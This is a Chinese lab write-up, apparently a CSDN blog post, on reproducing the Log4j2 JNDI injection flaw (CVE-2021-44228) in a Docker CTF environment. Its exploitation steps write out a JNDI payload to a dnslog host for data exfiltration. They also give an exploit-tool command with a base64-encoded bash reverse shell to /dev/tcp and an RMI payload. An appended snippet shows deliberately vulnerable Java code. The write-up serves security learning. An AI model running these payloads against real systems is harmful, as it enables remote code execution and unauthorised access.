Log4j2学习与复现

本文档详细记录了Log4j2漏洞的复现过程,包括Dockerfile和docker-compose.yml的编写,环境搭建,利用JNDI进行数据外带和反弹shell的步骤。实验中,通过修改端口避免冲突,并使用特定工具生成恶意代码,最终成功反弹shell获取flag。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

0x01 前言

  这几天在给新生赛出题,打算出real world的题目。就顺便把real world的赛题给复现一遍。网上其实也有很多的教程主要是环境的搭建以及Dockerfile和docker-compsoe.yml的编写。

实验环境:
| 环境 | 版本 | IP|
|–|–|–|–|
|靶场|ubuntu 18 & vulfocus/log4j2-cve-2021-44228| 192.168.43.139|
|攻击机 |kali Linux 2021 | 192.168.43.77 |
工具下载:JNDI.

0x02 Dokerfile的编写

Dokerfile

FROM vulfocus/log4j2-cve-2021-44228

RUN apt-get update

COPY flag /flag

因为还不是很熟悉原理是什么,无法完全地构建本地靶场,用的还是vulfocus下的镜像。这一个镜像默认打开的端口是8080,为了避免冲突在docker-compsoe.yml中我们需要做一个端口映射。

0x03 docker-compsoe.yml的编写

docker-compsoe.yml

version: "2"

services:
  log4j2:
    build: .
    restart: "always"
    ports:
      - "9999:8080"

这里我把原来的端口映射到了9999端口,本地再放一个flag文件。
在这里插入图片描述

0x05 复现

1.化境启动

到那一个目录下输入docker-compose build 拉取相关的镜像
在这里插入图片描述
然后 docker images查看是否拉取成功。
在这里插入图片描述
接着docer-compose up -d,直接启动环境
再使用docker ps -a 进行容器的查看
在这里插入图片描述
成功构建该容器,然后使用win7物理机查看。构建成功。
在这里插入图片描述


2.复现

1、首先查看是否能外带出数据(靶场绝对是可以的)
这里的靶场环境是get传参数,那么是要进行一次的url编码。

hello?payload=${jndi:ldap://y5bapy.dnslog.cn/exp}

刷新一下,去dnslog就能看到有外带的数据。
在这里插入图片描述


在这里插入图片描述
2、接下来需要构建一个恶意数据进行数据监听,构造payload,这里是直接构造反弹shell的恶意代码。
工具下载:git clone https://gitee.com/Lemon_i/JNDI-Injection-Exploit.git
然后打包项目:mvn clean package -DskipTests
如果提示没有mvn的话就下一个:apt-get install maven
在这里插入图片描述
开始构造恶意数据。

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQzLjc3LzEyMzQgMD4mMQ==}|{base64,-d}|{bash,-i}" -A "192.168.43.77"

echo 后面的一串字符串YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQzLjc3LzEyMzQgMD4mMQ==是恶意代码
bash -i >& /dev/tcp/192.168.43.77/1234 0>&1的base64的编码。-A 之后的那一串IP就是攻击机的IP地址,按照这个去构造基本就可以了。
在这里插入图片描述
最后虚拟机监听端口使用上面生成的恶意代码向服务器发送即可反弹shell。

url/hello/?payload=%24%7Bjndi%3Armi%3A%2F%2F192.168.43.77%3A1099%2FExploitBypass%7D

在这里插入图片描述
成功反弹,拿到flag。

0x06 原理分析

持续更新

### log4j2 JNDI 注入漏洞复现示例代码 为了展示如何通过特定配置和代码片段来重现Log4j2中的JNDI注入漏洞,以下是具体的Java应用程序实例: #### Java 应用程序设置 首先创建一个简单的Spring Boot项目或任何标准的Maven/Gradle构建工具支持的应用。确保`pom.xml`文件中包含了对log4j-core库版本低于2.15.0依赖项。 ```xml <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-core</artifactId> <version>2.14.1</version><!-- 漏洞版本 --> </dependency> ``` #### 配置日志记录器 在项目的资源路径下放置名为`log4j2.xml`的日志配置文件,内容如下所示[^1]: ```xml <?xml version="1.0" encoding="UTF-8"?> <Configuration status="WARN"> <Appenders> <Console name="Console" target="SYSTEM_OUT"> <PatternLayout pattern="%d{HH:mm:ss.SSS} [%t] %-5level %logger{36} - %msg%n"/> </Console> </Appenders> <Loggers> <Root level="error"> <AppenderRef ref="Console"/> </Root> </Loggers> </Configuration> ``` #### 编写易受攻击的代码逻辑 编写一段会触发该安全问题的服务端点或者控制台应用入口函数,这里以最简单的方式为例,在main方法里调用了Logger对象并传入含有`${}`占位符表达式的字符串作为消息参数[^2]: ```java import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger; public class VulnerableApplication { private static final Logger logger = LogManager.getLogger(VulnerableApplication.class); public static void main(String[] args){ String userInput = "${jndi:ldap://localhost:1389/a}"; logger.error(userInput); } } ``` 当上述代码被执行时,如果存在恶意服务器监听指定LDAP地址,则可能造成远程命令执行的风险。注意这只是一个用于学习目的的安全研究案例,请勿非法使用此技术危害他人系统。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值